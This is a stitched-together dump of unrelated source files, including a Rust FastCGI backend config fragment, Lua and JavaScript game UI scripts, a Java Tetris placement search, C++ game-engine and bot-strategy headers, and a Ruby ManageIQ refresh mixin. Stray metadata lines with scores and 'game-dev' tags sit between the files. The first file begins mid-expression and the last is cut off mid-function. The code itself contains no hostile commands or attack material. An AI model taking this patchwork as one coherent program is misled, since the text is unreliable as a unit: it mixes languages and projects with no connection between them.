usize { self.num_fcgi_processes.unwrap_or(num_cpus::get()) } } fn set_backend_basedir(project_basedir: &mut String, file_or_url: &str) -> bool { if File::open(file_or_url).is_ok() { if let Some(dir) = Path::new(file_or_url).parent() { *project_basedir = dir.to_string_lossy().to_string(); } true } else { warn!("Can't read file `{file_or_url}` - ignoring"); false } } impl QgisBackendCfg { pub fn backend(&self) -> QgisFcgiBackend { QgisFcgiBackend::new(self.clone()) } } impl UmnBackendCfg { pub fn backend(&self) -> UmnFcgiBackend { UmnFcgiBackend::new(self.clone()) } } impl MockBackendCfg { pub fn backend(&self) -> MockFcgiBackend { MockFcgiBackend::new(self.clone()) } }
1
0.870037
1
0.870037
game-dev
MEDIA
0.169851
game-dev
0.820131
1
0.820131
esoui/esoui
5,662
esoui/ingame/tradinghouse/gamepad/tradinghousesearchhistory_gamepad.lua
local ZO_TradingHouseSearchHistory_Gamepad = ZO_GamepadTradingHouse_ItemList:Subclass() function ZO_TradingHouseSearchHistory_Gamepad:New(...) return ZO_GamepadTradingHouse_ItemList.New(self, ...) end function ZO_TradingHouseSearchHistory_Gamepad:Initialize(control) ZO_GamepadTradingHouse_ItemList.Initialize(self, control) GAMEPAD_TRADING_HOUSE_BROWSE_RESULTS:AddFragmentsToSubscene(self:GetSubscene()) end function ZO_TradingHouseSearchHistory_Gamepad:InitializeEvents() ZO_GamepadTradingHouse_ItemList.InitializeEvents(self) TRADING_HOUSE_SEARCH_HISTORY_MANAGER:RegisterCallback("HistoryUpdated", function() if self.fragment:IsShowing() then self:RefreshList() self:UpdateDescriptionTooltip() end end) end function ZO_TradingHouseSearchHistory_Gamepad:InitializeKeybindStripDescriptors() self.keybindStripDescriptor = { alignment = KEYBIND_STRIP_ALIGN_LEFT, { name = GetString(SI_GAMEPAD_TRADE_SUBMIT), keybind = "UI_SHORTCUT_PRIMARY", callback = function() local targetData = self.itemList:GetTargetData() -- This entry will jump to the top, we should jump to the top too local DONT_ANIMATE = false self.itemList:SetDefaultIndexSelected(DONT_ANIMATE) TRADING_HOUSE_SEARCH:LoadSearchTable(targetData.searchTable) TRADING_HOUSE_GAMEPAD:EnterBrowseResults() end, visible = function() return self.itemList:GetTargetData() ~= nil end, }, { name = GetString(SI_TRADING_HOUSE_DELETE_SEARCH_HISTORY_ENTRY), keybind = "UI_SHORTCUT_RIGHT_STICK", callback = function() local targetData = self.itemList:GetTargetData() TRADING_HOUSE_SEARCH_HISTORY_MANAGER:RemoveSearchTable(targetData.searchTable) --Re-narrate when an entry is removed SCREEN_NARRATION_MANAGER:QueueParametricListEntry(self.itemList) KEYBIND_STRIP:UpdateKeybindButtonGroup(self.keybindStripDescriptor) end, visible = function() return self.itemList:GetTargetData() ~= nil end, }, } self:AddGuildChangeKeybindDescriptor(self.keybindStripDescriptor) local function LeaveSearchHistory() TRADING_HOUSE_GAMEPAD:LeaveSearchHistory() end ZO_Gamepad_AddBackNavigationKeybindDescriptorsWithSound(self.keybindStripDescriptor, GAME_NAVIGATION_TYPE_BUTTON, LeaveSearchHistory) ZO_Gamepad_AddListTriggerKeybindDescriptors(self.keybindStripDescriptor, self.itemList) end function ZO_TradingHouseSearchHistory_Gamepad:RefreshList() self.itemList:Clear() for _, searchEntry in TRADING_HOUSE_SEARCH_HISTORY_MANAGER:SearchEntryIterator() do local searchEntryData = { searchTable = searchEntry.searchTable, narrationText = function(entryData, entryControl) return SCREEN_NARRATION_MANAGER:CreateNarratableObject(entryData.formattedSearchTableDescription) end, } self.itemList:AddEntry("ZO_GamepadGuildStoreSearchHistoryEntryTemplate", searchEntryData) end self.itemList:Commit() end function ZO_TradingHouseSearchHistory_Gamepad:RefreshVisible() self.itemList:RefreshVisible() end -- Overriden functions function ZO_TradingHouseSearchHistory_Gamepad:GetHeaderReplacementInfo() return true, GetString(SI_TRADING_HOUSE_SEARCH_HISTORY_TITLE) end function ZO_TradingHouseSearchHistory_Gamepad:InitializeList() ZO_GamepadTradingHouse_ItemList.InitializeList(self) local function OnTargetChanged(...) self:UpdateDescriptionTooltip() KEYBIND_STRIP:UpdateKeybindButtonGroup(self.keybindStripDescriptor) end self.itemList:SetOnTargetDataChangedCallback(OnTargetChanged) self.itemList:SetNoItemText(GetString(SI_TRADING_HOUSE_SEARCH_HISTORY_EMPTY_TEXT)) self.itemList:SetAlignToScreenCenter(true) -- Recent Search Button Template local function SetupHistoryEntry(control, data, selected, reselectingDuringRebuild, enabled, active) control.label:SetAlpha(ZO_GamepadMenuEntryTemplate_GetAlpha(selected)) control.label:SetColor(ZO_GamepadMenuEntryTemplate_GetLabelColor(selected, not enabled):UnpackRGBA()) if not data.formattedSearchTableDescription then data.formattedSearchTableDescription = TRADING_HOUSE_SEARCH:GenerateSearchTableShortDescription(data.searchTable) end control.label:SetText(data.formattedSearchTableDescription) end self.itemList:AddDataTemplate("ZO_GamepadGuildStoreSearchHistoryEntryTemplate", SetupHistoryEntry) end function ZO_TradingHouseSearchHistory_Gamepad:OnShowing() self:RefreshList() KEYBIND_STRIP:UpdateKeybindButtonGroup(self.keybindStripDescriptor) end function ZO_TradingHouseSearchHistory_Gamepad:UpdateKeybind() KEYBIND_STRIP:UpdateKeybindButtonGroup(self.keybindStripDescriptor) end function ZO_TradingHouseSearchHistory_Gamepad:UpdateDescriptionTooltip() local targetData = self.itemList:GetTargetData() if targetData then GAMEPAD_TOOLTIPS:LayoutTextBlockTooltip(GAMEPAD_RIGHT_TOOLTIP, TRADING_HOUSE_SEARCH:GenerateSearchTableDescription(targetData.searchTable)) else GAMEPAD_TOOLTIPS:ClearTooltip(GAMEPAD_RIGHT_TOOLTIP) end end -- Globals function ZO_TradingHouseSearchHistory_Gamepad_OnInitialize(control) GAMEPAD_TRADING_HOUSE_SEARCH_HISTORY = ZO_TradingHouseSearchHistory_Gamepad:New(control) end
1
0.858755
1
0.858755
game-dev
MEDIA
0.74833
game-dev
0.887356
1
0.887356
knewjade/solution-finder
7,251
src/main/java/core/action/candidate/Locked180Candidate.java
package core.action.candidate; import common.datastore.action.Action; import core.action.cache.LockedCache; import core.field.Field; import core.mino.Mino; import core.mino.MinoFactory; import core.mino.MinoShifter; import core.mino.Piece; import core.srs.MinoRotation; import core.srs.Rotate; import searcher.common.From; import java.util.HashSet; import java.util.Set; /** * マルチスレッド非対応 */ public class Locked180Candidate implements ILockedCandidate { private static final int FIELD_WIDTH = 10; private final MinoFactory minoFactory; private final MinoShifter minoShifter; private final MinoRotation minoRotation; private final LockedCache lockedCache; // temporary変数 private int appearY = 0; Locked180Candidate(MinoFactory minoFactory, MinoShifter minoShifter, MinoRotation minoRotation, int maxY) { if (minoRotation.noSupports180()) { throw new IllegalArgumentException("kicks do not support 180"); } this.minoFactory = minoFactory; this.minoShifter = minoShifter; this.minoRotation = minoRotation; this.lockedCache = new LockedCache(maxY); } @Override public Set<Action> search(Field field, Piece piece, int validHeight) { // temporaryの初期化 this.appearY = validHeight; lockedCache.clear(); HashSet<Action> actions = new HashSet<>(); for (Rotate rotate : Rotate.values()) { Mino mino = minoFactory.create(piece, rotate); for (int x = -mino.getMinX(); x < FIELD_WIDTH - mino.getMaxX(); x++) { for (int y = validHeight - mino.getMaxY() - 1; -mino.getMinY() <= y; y--) { if (field.canPut(mino, x, y) && field.isOnGround(mino, x, y)) { if (check(field, mino, x, y, From.None)) { Action action = minoShifter.createTransformedAction(piece, rotate, x, y); actions.add(action); } lockedCache.resetTrail(); } } } } return actions; } private boolean check(Field field, Mino mino, int x, int y, From from) { // 一番上までたどり着いたとき if (appearY <= y) return true; Rotate rotate = mino.getRotate(); // すでに訪問済みのとき if (lockedCache.isVisit(x, y, rotate)) return lockedCache.isFound(x, y, rotate); // その時の結果を返却。訪問済みだが結果が出てないときは他の探索でカバーできるためfalseを返却 lockedCache.visit(x, y, rotate); // harddropでたどりつけるとき if (field.canReachOnHarddrop(mino, x, y)) { lockedCache.found(x, y, rotate); return true; } // 上に移動 int upY = y + 1; if (upY < appearY && field.canPut(mino, x, upY)) { if (check(field, mino, x, upY, From.None)) { lockedCache.found(x, y, rotate); return true; } } // 左に移動 int leftX = x - 1; if (from != From.Left && -mino.getMinX() <= leftX && field.canPut(mino, leftX, y)) { if (check(field, mino, leftX, y, From.Right)) { lockedCache.found(x, y, rotate); return true; } } // 右に移動 int rightX = x + 1; if (from != From.Right && rightX < FIELD_WIDTH - mino.getMaxX() && field.canPut(mino, rightX, y)) { if (check(field, mino, rightX, y, From.Left)) { lockedCache.found(x, y, rotate); return true; } } // 右回転でくる可能性がある場所を移動 if (checkRightRotation(field, mino, x, y)) { lockedCache.found(x, y, rotate); return true; } // 左回転でくる可能性がある場所を移動 if (checkLeftRotation(field, mino, x, y)) { lockedCache.found(x, y, rotate); return true; } // 180度回転でくる可能性がある場所を移動 if (check180Rotation(field, mino, x, y)) { lockedCache.found(x, y, rotate); return true; } return false; } private boolean checkRightRotation(Field field, Mino mino, int x, int y) { Rotate currentRotate = mino.getRotate(); Mino minoBefore = minoFactory.create(mino.getPiece(), currentRotate.getLeftRotate()); int[][] patterns = minoRotation.getRightPatternsFrom(minoBefore); // 右回転前のテストパターンを取得 for (int[] pattern : patterns) { int fromX = x - pattern[0]; int fromY = y - pattern[1]; if (canPutMinoInField(field, minoBefore, fromX, fromY)) { int[] kicks = minoRotation.getKicksWithRightRotation(field, minoBefore, mino, fromX, fromY); if (kicks != null && pattern[0] == kicks[0] && pattern[1] == kicks[1]) { if (check(field, minoBefore, fromX, fromY, From.None)) { lockedCache.found(x, y, currentRotate); return true; } } } } return false; } private boolean checkLeftRotation(Field field, Mino mino, int x, int y) { Rotate currentRotate = mino.getRotate(); Mino minoBefore = minoFactory.create(mino.getPiece(), currentRotate.getRightRotate()); int[][] patterns = minoRotation.getLeftPatternsFrom(minoBefore); // 左回転前のテストパターンを取得 for (int[] pattern : patterns) { int fromX = x - pattern[0]; int fromY = y - pattern[1]; if (canPutMinoInField(field, minoBefore, fromX, fromY)) { int[] kicks = minoRotation.getKicksWithLeftRotation(field, minoBefore, mino, fromX, fromY); if (kicks != null && pattern[0] == kicks[0] && pattern[1] == kicks[1]) { if (check(field, minoBefore, fromX, fromY, From.None)) { lockedCache.found(x, y, currentRotate); return true; } } } } return false; } private boolean check180Rotation(Field field, Mino mino, int x, int y) { Rotate currentRotate = mino.getRotate(); Mino minoBefore = minoFactory.create(mino.getPiece(), currentRotate.get180Rotate()); int[][] patterns = minoRotation.getRotate180PatternsFrom(minoBefore); // 180度回転前のテストパターンを取得 for (int[] pattern : patterns) { int fromX = x - pattern[0]; int fromY = y - pattern[1]; if (canPutMinoInField(field, minoBefore, fromX, fromY)) { int[] kicks = minoRotation.getKicksWith180Rotation(field, minoBefore, mino, fromX, fromY); if (kicks != null && pattern[0] == kicks[0] && pattern[1] == kicks[1]) { if (check(field, minoBefore, fromX, fromY, From.None)) { lockedCache.found(x, y, currentRotate); return true; } } } } return false; } private boolean canPutMinoInField(Field field, Mino mino, int x, int y) { return -mino.getMinX() <= x && x < FIELD_WIDTH - mino.getMaxX() && -mino.getMinY() <= y && field.canPut(mino, x, y); } }
1
0.919853
1
0.919853
game-dev
MEDIA
0.372176
game-dev
0.970632
1
0.970632
liyunfan1223/mod-playerbots
2,702
src/strategy/raids/naxxramas/RaidNaxxMultipliers.h
#ifndef _PLAYERRBOT_RAIDNAXXMULTIPLIERS_H_ #define _PLAYERRBOT_RAIDNAXXMULTIPLIERS_H_ #include "Multiplier.h" #include "raids/naxxramas/RaidNaxxBossHelper.h" class GrobbulusMultiplier : public Multiplier { public: GrobbulusMultiplier(PlayerbotAI* ai) : Multiplier(ai, "grobbulus") {} public: virtual float GetValue(Action* action); }; class HeiganDanceMultiplier : public Multiplier { public: HeiganDanceMultiplier(PlayerbotAI* ai) : Multiplier(ai, "helgan dance") {} public: virtual float GetValue(Action* action); }; class LoathebGenericMultiplier : public Multiplier { public: LoathebGenericMultiplier(PlayerbotAI* ai) : Multiplier(ai, "loatheb generic") {} public: virtual float GetValue(Action* action); }; class ThaddiusGenericMultiplier : public Multiplier { public: ThaddiusGenericMultiplier(PlayerbotAI* ai) : Multiplier(ai, "thaddius generic"), helper(ai) {} public: virtual float GetValue(Action* action); private: ThaddiusBossHelper helper; }; class SapphironGenericMultiplier : public Multiplier { public: SapphironGenericMultiplier(PlayerbotAI* ai) : Multiplier(ai, "sapphiron generic"), helper(ai) {} virtual float GetValue(Action* action); private: SapphironBossHelper helper; }; class InstructorRazuviousGenericMultiplier : public Multiplier { public: InstructorRazuviousGenericMultiplier(PlayerbotAI* ai) : Multiplier(ai, "instructor razuvious generic"), helper(ai) { } virtual float GetValue(Action* action); private: RazuviousBossHelper helper; }; class KelthuzadGenericMultiplier : public Multiplier { public: KelthuzadGenericMultiplier(PlayerbotAI* ai) : Multiplier(ai, "kelthuzad generic"), helper(ai) {} virtual float GetValue(Action* action); private: KelthuzadBossHelper helper; }; class AnubrekhanGenericMultiplier : public Multiplier { public: AnubrekhanGenericMultiplier(PlayerbotAI* ai) : Multiplier(ai, "anubrekhan generic") {} public: virtual float GetValue(Action* action); }; class FourhorsemanGenericMultiplier : public Multiplier { public: FourhorsemanGenericMultiplier(PlayerbotAI* ai) : Multiplier(ai, "fourhorseman generic") {} public: virtual float GetValue(Action* action); }; // class GothikGenericMultiplier : public Multiplier // { // public: // GothikGenericMultiplier(PlayerbotAI* ai) : Multiplier(ai, "gothik generic") {} // public: // virtual float GetValue(Action* action); // }; class GluthGenericMultiplier : public Multiplier { public: GluthGenericMultiplier(PlayerbotAI* ai) : Multiplier(ai, "gluth generic"), helper(ai) {} float GetValue(Action* action) override; private: GluthBossHelper helper; }; #endif
1
0.673791
1
0.673791
game-dev
MEDIA
0.389577
game-dev,ml-ai
0.651451
1
0.651451
ManageIQ/manageiq
1,667
app/models/mixins/ems_refresh_mixin.rb
module EmsRefreshMixin extend ActiveSupport::Concern included do supports :refresh_ems end class_methods do def queue_refresh(ems_id_or_ids, ems_ref = nil) refresh_internal(ems_id_or_ids, ems_ref, :queue => true) end alias_method :refresh_ems, :queue_refresh def refresh(ems_id_or_ids, ems_ref = nil) refresh_internal(ems_id_or_ids, ems_ref, :queue => false) end private def refresh_internal(ems_id_or_object_ids, ems_ref, queue:) targets = if ems_ref.nil? Array(ems_id_or_object_ids).map { |id| [base_class, id] } else ems = ExtManagementSystem.find_by(:id => ems_id_or_object_ids) raise _("No Provider defined") if ems.nil? raise _("No Provider credentials defined") unless ems.has_credentials? raise _("Provider failed last authentication check") unless ems.authentication_status_ok? refresh_target(ems, ems_ref) end refresh_meth = queue ? :queue_refresh : :refresh EmsRefresh.public_send(refresh_meth, targets) end def refresh_target(ems, ems_ref) if ems.allow_targeted_refresh? InventoryRefresh::Target.new( :manager => ems, :association => refresh_association, :manager_ref => {:ems_ref => ems_ref} ) else ems end end def refresh_association base_class.name.tableize.to_sym end end def queue_refresh self.class.queue_refresh(ext_management_system&.id, ems_ref) end alias refresh_ems queue_refresh def refresh self.class.refresh(ext_management_system&.id, ems_ref) end end
1
0.831156
1
0.831156
game-dev
MEDIA
0.355477
game-dev
0.634072
1
0.634072
pawbyte/Game-Pencil-Engine-Editor
3,321
src/sdl2_module/gpe_input_sdl2.h
/* gpe_input_sdl2.h This file is part of: GAME PENCIL ENGINE https://www.pawbyte.com/gamepencilengine Copyright (c) 2014-2024 Nathan Hurde, Chase Lee. Copyright (c) 2014-2024 PawByte LLC. Copyright (c) 2014-2024 Game Pencil Engine contributors ( Contributors Page ) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -Game Pencil Engine - SDL2 Module <https://gamepencil.net/sdl2-module/> */ #ifndef gpe_input_sdl2_h #define gpe_input_sdl2_h #include <SDL2/SDL.h> #include <SDL2/SDL_version.h> #include <SDL2/SDL_video.h> #include "../gpe/gpe_input_base.h" #include "../gpe/gpe_render_package_handler.h" #include "../gpe/gpe_shared_resources.h" #include "../gpe/gpe_timer_base.h" #include <string> namespace gpe { class gamepad_sdl2: public gamepad_base { public: SDL_Joystick * assigned_sdl2_controller; int joy_sdl2_id; gamepad_sdl2(); ~gamepad_sdl2(); void handle_input(); void pure_reset(); void reset_gamepad(); void reset_temp_input(); void setup_default_mapping( bool map_buttons = true , bool mapAxis = true ); }; /** * class input_manager_sdl2 * * Handles keyboard, gamepad and mouse states */ class input_manager_sdl2: public input_manager_base { private: SDL_Event sdl2_input_event; gamepad_sdl2 * game_pads_sdl2[gp_max_devices]; public: input_manager_sdl2(); ~input_manager_sdl2(); bool clipboard_empty(); bool clipboard_set( std::string new_clipboard_string); std::string clipboard_string(); void convert_event_input(); void key_bind_qwerty(); void key_bind_load(); void key_bind_save(); //void handle_modifers( SDLMod mod ); bool gamepad_detect_all(); bool gamepad_disconnect( int gamepad_id); bool gamepad_setup(int gamepad_id ); bool load_input_settings(std::string file_path = ""); void handle_input(bool dump_event = false, bool is_embedded=false ); //void reset_all_input(); //void reset_temp_input(); }; bool init_sdl2_input_system(); void quit_sdl2_input_system(); } #endif //gpe_input_sdl2_h
1
0.856327
1
0.856327
game-dev
MEDIA
0.840663
game-dev
0.59502
1
0.59502
ProjectIgnis/CardScripts
1,785
official/c49238328.lua
--強欲で金満な壺 --Pot of Extravagance --Scripted by Eerie Code local s,id=GetID() function s.initial_effect(c) --Activate local e1=Effect.CreateEffect(c) e1:SetCategory(CATEGORY_DRAW) e1:SetType(EFFECT_TYPE_ACTIVATE) e1:SetCode(EVENT_FREE_CHAIN) e1:SetProperty(EFFECT_FLAG_PLAYER_TARGET) e1:SetCondition(s.condition) e1:SetCost(s.cost) e1:SetTarget(s.target) e1:SetOperation(s.activate) c:RegisterEffect(e1) end function s.condition(e,tp,eg,ep,ev,re,r,rp) return Duel.IsPhase(PHASE_MAIN1) and not Duel.CheckPhaseActivity() end function s.cost(e,tp,eg,ep,ev,re,r,rp,chk) e:SetLabel(100) if chk==0 then return true end end function s.cfilter(c) return c:IsFacedown() and c:IsAbleToRemoveAsCost(POS_FACEDOWN) end function s.target(e,tp,eg,ep,ev,re,r,rp,chk) local g=Duel.GetMatchingGroup(s.cfilter,tp,LOCATION_EXTRA,0,nil) if chk==0 then if e:GetLabel()~=100 then return false end e:SetLabel(0) return Duel.IsPlayerCanDraw(tp,1) and #g>=3 end local op=0 if Duel.IsPlayerCanDraw(tp,2) and #g>=6 then op=Duel.SelectOption(tp,aux.Stringid(id,0),aux.Stringid(id,1)) else op=Duel.SelectOption(tp,aux.Stringid(id,0)) end local rg=g:RandomSelect(tp,3+op*3) Duel.Remove(rg,POS_FACEDOWN,REASON_COST) Duel.SetTargetPlayer(tp) Duel.SetTargetParam(op+1) Duel.SetOperationInfo(0,CATEGORY_DRAW,nil,0,tp,op+1) end function s.activate(e,tp,eg,ep,ev,re,r,rp) local p,d=Duel.GetChainInfo(0,CHAININFO_TARGET_PLAYER,CHAININFO_TARGET_PARAM) Duel.Draw(p,d,REASON_EFFECT) local e1=Effect.CreateEffect(e:GetHandler()) e1:SetType(EFFECT_TYPE_FIELD) e1:SetCode(EFFECT_CANNOT_DRAW) e1:SetProperty(EFFECT_FLAG_PLAYER_TARGET+EFFECT_FLAG_CLIENT_HINT) e1:SetDescription(aux.Stringid(id,2)) e1:SetTargetRange(1,0) e1:SetReset(RESET_PHASE|PHASE_END) Duel.RegisterEffect(e1,tp) end
1
0.76862
1
0.76862
game-dev
MEDIA
0.957738
game-dev
0.951905
1
0.951905
OpenAngelArena/oaa
2,981
content/panorama/scripts/custom_game/abilitylevels.js
/* global GameEvents, $, FindDotaHudElement, Entities, Players */ 'use strict'; (function () { GameEvents.Subscribe('ability_level_error', DisplayAbilityLevelError); GameEvents.Subscribe('check_level_up', CheckLevelUpBubbles); // Handle unit selection changes clientside because server can't get a player's selected units GameEvents.Subscribe('dota_player_update_query_unit', CheckLevelUpOnSelectionChange); GameEvents.Subscribe('dota_player_update_selected_unit', CheckLevelUpOnSelectionChange); }()); function DisplayAbilityLevelError (data) { // Localise hero level requirement error message and insert hero level number const errorMessageText = $.Localize('#dota_hud_error_ability_cant_upgrade_hero_level').replace('%s1', data.requiredLevel); const errorData = { reason: 80, message: errorMessageText }; GameEvents.SendEventClientSide('dota_hud_error_message', errorData); } function CheckLevelUpBubbles (data) { const canLevelUp = data.canLevelUp; const abilitiesPanel = FindDotaHudElement('abilities'); abilitiesPanel.ApplyStyles(false); $.Schedule(0.1, function () { abilitiesPanel.Children().forEach(function (abilityPanel, i) { const requiredLevel = canLevelUp[i + 1]; abilityPanel.FindChildTraverse('AbilityLevelContainer').Children().forEach(function (levelDot) { levelDot.style.border = null; levelDot.style['border-radius'] = null; levelDot.style['box-shadow'] = null; }); if (requiredLevel === -1 || data.level < requiredLevel) { abilityPanel.RemoveClass('could_level_up'); abilityPanel.FindChildTraverse('LevelUpTab').style.opacity = 0; abilityPanel.FindChildTraverse('LevelUpLight').style.opacity = 0; abilityPanel.FindChildTraverse('LevelUpBurstFXContainer').style.visibility = 'collapse'; const levelDot = abilityPanel.FindChildrenWithClassTraverse('next_level')[0]; if (levelDot) { levelDot.style.border = '0px none black'; levelDot.style['border-radius'] = '1px'; levelDot.style['box-shadow'] = 'none'; levelDot.style['background-image'] = 'none'; } } else { abilityPanel.FindChildTraverse('LevelUpTab').style.opacity = null; abilityPanel.FindChildTraverse('LevelUpLight').style.opacity = null; abilityPanel.FindChildTraverse('LevelUpBurstFXContainer').style.visibility = null; } }); }); abilitiesPanel.ApplyStyles(true); } function CheckLevelUpOnSelectionChange (data) { const playerID = Players.GetLocalPlayer(); const selectedEntity = Players.GetLocalPlayerPortraitUnit(); if (selectedEntity !== undefined) { if (Entities.GetPlayerOwnerID(selectedEntity) === playerID && Entities.IsRealHero(selectedEntity)) { const level = Entities.GetLevel(selectedEntity); GameEvents.SendCustomGameEventToServer('check_level_up_selection', { selectedEntity: selectedEntity, level: level }); } } }
1
0.929601
1
0.929601
game-dev
MEDIA
0.855478
game-dev
0.979349
1
0.979349
gameprogcpp/code
7,715
Chapter10/Game.cpp
// ---------------------------------------------------------------- // From Game Programming in C++ by Sanjay Madhav // Copyright (C) 2017 Sanjay Madhav. All rights reserved. // // Released under the BSD License // See LICENSE in root directory for full details. // ---------------------------------------------------------------- #include "Game.h" #include <algorithm> #include "Renderer.h" #include "AudioSystem.h" #include "PhysWorld.h" #include "Actor.h" #include "SpriteComponent.h" #include "MeshComponent.h" #include "FPSActor.h" #include "PlaneActor.h" #include "TargetActor.h" #include "BallActor.h" Game::Game() :mRenderer(nullptr) ,mAudioSystem(nullptr) ,mPhysWorld(nullptr) ,mIsRunning(true) ,mUpdatingActors(false) { } bool Game::Initialize() { if (SDL_Init(SDL_INIT_VIDEO|SDL_INIT_AUDIO) != 0) { SDL_Log("Unable to initialize SDL: %s", SDL_GetError()); return false; } // Create the renderer mRenderer = new Renderer(this); if (!mRenderer->Initialize(1024.0f, 768.0f)) { SDL_Log("Failed to initialize renderer"); delete mRenderer; mRenderer = nullptr; return false; } // Create the audio system mAudioSystem = new AudioSystem(this); if (!mAudioSystem->Initialize()) { SDL_Log("Failed to initialize audio system"); mAudioSystem->Shutdown(); delete mAudioSystem; mAudioSystem = nullptr; return false; } // Create the physics world mPhysWorld = new PhysWorld(this); LoadData(); mTicksCount = SDL_GetTicks(); return true; } void Game::RunLoop() { while (mIsRunning) { ProcessInput(); UpdateGame(); GenerateOutput(); } } void Game::AddPlane(PlaneActor* plane) { mPlanes.emplace_back(plane); } void Game::RemovePlane(PlaneActor* plane) { auto iter = std::find(mPlanes.begin(), mPlanes.end(), plane); mPlanes.erase(iter); } void Game::ProcessInput() { SDL_Event event; while (SDL_PollEvent(&event)) { switch (event.type) { case SDL_QUIT: mIsRunning = false; break; // This fires when a key's initially pressed case SDL_KEYDOWN: if (!event.key.repeat) { HandleKeyPress(event.key.keysym.sym); } break; case SDL_MOUSEBUTTONDOWN: HandleKeyPress(event.button.button); break; default: break; } } const Uint8* state = SDL_GetKeyboardState(NULL); if (state[SDL_SCANCODE_ESCAPE]) { mIsRunning = false; } for (auto actor : mActors) { actor->ProcessInput(state); } } void Game::HandleKeyPress(int key) { switch (key) { case '-': { // Reduce master volume float volume = mAudioSystem->GetBusVolume("bus:/"); volume = Math::Max(0.0f, volume - 0.1f); mAudioSystem->SetBusVolume("bus:/", volume); break; } case '=': { // Increase master volume float volume = mAudioSystem->GetBusVolume("bus:/"); volume = Math::Min(1.0f, volume + 0.1f); mAudioSystem->SetBusVolume("bus:/", volume); break; } case SDL_BUTTON_LEFT: { // Fire weapon mFPSActor->Shoot(); break; } default: break; } } void Game::UpdateGame() { // Compute delta time // Wait until 16ms has elapsed since last frame while (!SDL_TICKS_PASSED(SDL_GetTicks(), mTicksCount + 16)) ; float deltaTime = (SDL_GetTicks() - mTicksCount) / 1000.0f; if (deltaTime > 0.05f) { deltaTime = 0.05f; } mTicksCount = SDL_GetTicks(); // Update all actors mUpdatingActors = true; for (auto actor : mActors) { actor->Update(deltaTime); } mUpdatingActors = false; // Move any pending actors to mActors for (auto pending : mPendingActors) { pending->ComputeWorldTransform(); mActors.emplace_back(pending); } mPendingActors.clear(); // Add any dead actors to a temp vector std::vector<Actor*> deadActors; for (auto actor : mActors) { if (actor->GetState() == Actor::EDead) { deadActors.emplace_back(actor); } } // Delete dead actors (which removes them from mActors) for (auto actor : deadActors) { delete actor; } // Update audio system mAudioSystem->Update(deltaTime); } void Game::GenerateOutput() { mRenderer->Draw(); } void Game::LoadData() { // Create actors Actor* a = nullptr; Quaternion q; //MeshComponent* mc = nullptr; // Setup floor const float start = -1250.0f; const float size = 250.0f; for (int i = 0; i < 10; i++) { for (int j = 0; j < 10; j++) { a = new PlaneActor(this); a->SetPosition(Vector3(start + i * size, start + j * size, -100.0f)); } } // Left/right walls q = Quaternion(Vector3::UnitX, Math::PiOver2); for (int i = 0; i < 10; i++) { a = new PlaneActor(this); a->SetPosition(Vector3(start + i * size, start - size, 0.0f)); a->SetRotation(q); a = new PlaneActor(this); a->SetPosition(Vector3(start + i * size, -start + size, 0.0f)); a->SetRotation(q); } q = Quaternion::Concatenate(q, Quaternion(Vector3::UnitZ, Math::PiOver2)); // Forward/back walls for (int i = 0; i < 10; i++) { a = new PlaneActor(this); a->SetPosition(Vector3(start - size, start + i * size, 0.0f)); a->SetRotation(q); a = new PlaneActor(this); a->SetPosition(Vector3(-start + size, start + i * size, 0.0f)); a->SetRotation(q); } // Setup lights mRenderer->SetAmbientLight(Vector3(0.2f, 0.2f, 0.2f)); DirectionalLight& dir = mRenderer->GetDirectionalLight(); dir.mDirection = Vector3(0.0f, -0.707f, -0.707f); dir.mDiffuseColor = Vector3(0.78f, 0.88f, 1.0f); dir.mSpecColor = Vector3(0.8f, 0.8f, 0.8f); // UI elements a = new Actor(this); a->SetPosition(Vector3(-350.0f, -350.0f, 0.0f)); SpriteComponent* sc = new SpriteComponent(a); sc->SetTexture(mRenderer->GetTexture("Assets/HealthBar.png")); a = new Actor(this); a->SetPosition(Vector3(-390.0f, 275.0f, 0.0f)); a->SetScale(0.75f); sc = new SpriteComponent(a); sc->SetTexture(mRenderer->GetTexture("Assets/Radar.png")); a = new Actor(this); a->SetScale(2.0f); mCrosshair = new SpriteComponent(a); mCrosshair->SetTexture(mRenderer->GetTexture("Assets/Crosshair.png")); // Start music mMusicEvent = mAudioSystem->PlayEvent("event:/Music"); // Enable relative mouse mode for camera look SDL_SetRelativeMouseMode(SDL_TRUE); // Make an initial call to get relative to clear out SDL_GetRelativeMouseState(nullptr, nullptr); // Different camera actors mFPSActor = new FPSActor(this); // Create target actors a = new TargetActor(this); a->SetPosition(Vector3(1450.0f, 0.0f, 100.0f)); a = new TargetActor(this); a->SetPosition(Vector3(1450.0f, 0.0f, 400.0f)); a = new TargetActor(this); a->SetPosition(Vector3(1450.0f, -500.0f, 200.0f)); a = new TargetActor(this); a->SetPosition(Vector3(1450.0f, 500.0f, 200.0f)); } void Game::UnloadData() { // Delete actors // Because ~Actor calls RemoveActor, have to use a different style loop while (!mActors.empty()) { delete mActors.back(); } if (mRenderer) { mRenderer->UnloadData(); } } void Game::Shutdown() { UnloadData(); delete mPhysWorld; if (mRenderer) { mRenderer->Shutdown(); } if (mAudioSystem) { mAudioSystem->Shutdown(); } SDL_Quit(); } void Game::AddActor(Actor* actor) { // If we're updating actors, need to add to pending if (mUpdatingActors) { mPendingActors.emplace_back(actor); } else { mActors.emplace_back(actor); } } void Game::RemoveActor(Actor* actor) { // Is it in pending actors? auto iter = std::find(mPendingActors.begin(), mPendingActors.end(), actor); if (iter != mPendingActors.end()) { // Swap to end of vector and pop off (avoid erase copies) std::iter_swap(iter, mPendingActors.end() - 1); mPendingActors.pop_back(); } // Is it in actors? iter = std::find(mActors.begin(), mActors.end(), actor); if (iter != mActors.end()) { // Swap to end of vector and pop off (avoid erase copies) 